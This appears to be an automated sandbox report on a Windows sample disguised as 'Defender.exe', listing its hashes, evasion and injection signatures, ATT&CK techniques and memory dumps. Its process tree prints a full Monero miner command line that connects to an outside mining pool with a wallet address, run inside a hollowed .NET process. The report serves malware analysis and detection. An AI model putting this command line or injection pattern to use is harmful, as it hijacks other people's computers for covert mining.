Analysis

  • max time kernel
    143s
  • max time network
    157s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    27-06-2021 11:17

General

  • Target

    Defender.exe

  • Size

    8.3MB

  • MD5

    87fa7a1ee39276516b9753556897546d

  • SHA1

    8c5db106bdda5304dc65a439d4bf806751117424

  • SHA256

    788490416fe054993a1a4033b0f287399167eaad913a1cfc24efe324246645f4

  • SHA512

    c7a9db600886f816b561aa9c73ba25784294b4d5ee537990c6b5efc4d0ed4adc3e728865bd7da692be3dc4f7e57efebadaa36d00b49075f046dacfce9136fe8f

Score
7/10

Malware Config

Signatures

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Defender.exe
    "C:\Users\Admin\AppData\Local\Temp\Defender.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr-eu1.nanopool.org:14444 -u 43M5FXdYoo56uynqTFUfC1XL4qSDQQoPA1YvSX64zN9SRqA22Bs2qUYHcHGpjS89HBQNeSFVq7ijDcbBuwWnEeurV8hWXNX.Admin -p x --algo rx/0
      2⤵
      • Checks BIOS information in registry
      • Suspicious use of AdjustPrivilegeToken
      PID:3984

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3368-114-0x0000000000970000-0x0000000000971000-memory.dmp
    Filesize

    4KB

  • memory/3368-116-0x000000001D010000-0x000000001D87C000-memory.dmp
    Filesize

    8.4MB

  • memory/3368-117-0x0000000003B30000-0x0000000003B32000-memory.dmp
    Filesize

    8KB

  • memory/3368-118-0x0000000020080000-0x00000000208C3000-memory.dmp
    Filesize

    8.3MB

  • memory/3368-119-0x00000000208D0000-0x0000000021103000-memory.dmp
    Filesize

    8.2MB

  • memory/3984-120-0x0000000140000000-0x0000000140D5F000-memory.dmp
    Filesize

    13.4MB

  • memory/3984-121-0x0000000140D40000-mapping.dmp
  • memory/3984-122-0x0000000140000000-0x0000000140D5F000-memory.dmp
    Filesize

    13.4MB

  • memory/3984-123-0x00000261CFC40000-0x00000261CFC60000-memory.dmp
    Filesize

    128KB

  • memory/3984-124-0x00000261CFC60000-0x00000261CFC80000-memory.dmp
    Filesize

    128KB